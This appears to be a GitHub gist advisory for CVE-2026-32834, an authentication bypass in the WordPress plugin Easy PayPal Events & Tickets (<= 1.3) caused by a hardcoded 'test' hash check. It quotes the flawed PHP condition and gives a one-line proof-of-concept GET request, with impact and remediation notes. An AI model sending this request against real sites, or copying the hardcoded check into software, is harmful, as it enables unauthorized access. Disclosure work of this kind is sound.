Skip to content

Instantly share code, notes, and snippets.

@4lec4st

4lec4st/CVE-2026-32834.md

Created May 2, 2026 10:08
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save 4lec4st/eb20f9934f8c23b4b241f74a8d884ce9 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save 4lec4st/eb20f9934f8c23b4b241f74a8d884ce9 to your computer and use it in GitHub Desktop.
Download ZIP
CVE-2026-32834 - Authentication Bypass via QR Code
Raw
CVE-2026-32834.md

Summary

A vulnerability in the WordPress plugin Easy PayPal Events & Tickets (<= 1.3) allows authentication bypass due to a hardcoded hash validation condition.

Technical Details

The application validates a QR hash using:

if ($hash == $realhash || $hash == 'test')

The presence of the hardcoded value 'test' allows any attacker to bypass authentication.

Proof of Concept

GET /?action=add_wpeevent_button_qr&order=1|4|test

Impact

Unauthenticated attackers can bypass authentication and access protected functionality.

Remediation

Remove the hardcoded condition and implement proper secure token validation.

Credits

Discovered by 4lec4st

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment